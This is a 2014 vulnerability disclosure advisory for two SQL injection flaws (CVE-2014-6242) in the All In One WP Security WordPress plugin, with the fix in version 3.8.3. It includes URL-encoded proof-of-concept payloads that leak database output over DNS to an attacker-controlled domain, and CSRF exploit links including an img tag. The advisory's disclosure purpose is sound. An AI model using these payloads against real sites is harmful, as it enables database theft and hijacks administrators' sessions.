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Two SQL Injections in All In One WP Security WordPress plugin

Advisory ID:HTB23231
Product:All In One WP Security WordPress plugin
Vendor:Tips and Tricks HQ, Peter, Ruhul, Ivy
Vulnerable Versions:3.8.2 and probably prior
Tested Version:3.8.2
Advisory Publication:September 3, 2014 [without technical details]
Vendor Notification:September 3, 2014
Vendor Fix:September 12, 2014
Public Disclosure:September 24, 2014
Latest Update:September 18, 2014
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2014-6242
Risk Level:Medium
CVSSv2 Base Score:6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered two SQL injection vulnerabilities in All In One WP Security WordPress plugin, which can be exploited to perform SQL Injection attacks. Both vulnerabilities require administrative privileges, however can be also exploited by non-authenticated attacker via CSRF vector.


1) SQL Injection in All In One WP Security WordPress plugin: CVE-2014-6242

1.1 The vulnerability exists due to insufficient sanitization of user-supplied input passed via the "orderby" HTTP GET parameters to "/wp-admin/admin.php" script. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The PoC code below is based on DNS Exfiltration technique and may be used to demonstrate vulnerability in the "orderby" parameter if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) sub-domain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):

http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28select%20 load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29, CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899 %29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR %28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111% 29,CHAR%2898%29,CHAR%2897%29,CHAR%28114%29%29%29%29

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a logged-in administrator to visit a web page with an CSRF exploit, e.g.:

http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&order=,%28select%20l oad_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29,C HAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899% 29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR% 28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111%2 9,CHAR%2898%29,CHAR%2897%29,CHAR%28114%29%29%29%29


1.2 The vulnerability exists due to insufficient sanitization of user-supplied input passed via the "order" HTTP GET parameters to "/wp-admin/admin.php" script. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The PoC code below is based on DNS Exfiltration technique and may be used to demonstrate vulnerability in the "order" parameter if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) sub-domain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):

http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28select%20 load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29, CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899 %29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR %28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111% 29,CHAR%2898%29,CHAR%2897%29,CHAR%28114%29%29%29%29

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a logged-in administrator to visit a web page with CSRF exploit, e.g.:

<img src="http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28sele ct%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%2 9%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR %2899%29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29 ,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%2 8111%29,CHAR%2898%29,CHAR%2897%29,CHAR%28114%29%29%29%29">


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Solution:
Update to All In One WP Security 3.8.3

More Information:
https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/changelog/


References:
[1] High-Tech Bridge Advisory HTB23231 - https://www.htbridge.com/advisory/HTB23231 - Two SQL Injections in All In One WP Security WordPress plugin.
[2] All In One WP Security WordPress plugin - http://www.tipsandtricks-hq.com/wordpress-security-and-firewall-plugin - All round best WordPress security plugin.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] Free SSL/TLS Server test - Test SSL/TLS encryption reliability and security of your web or email server, verify compliance with PCI DSS, HIPAA and NIST.
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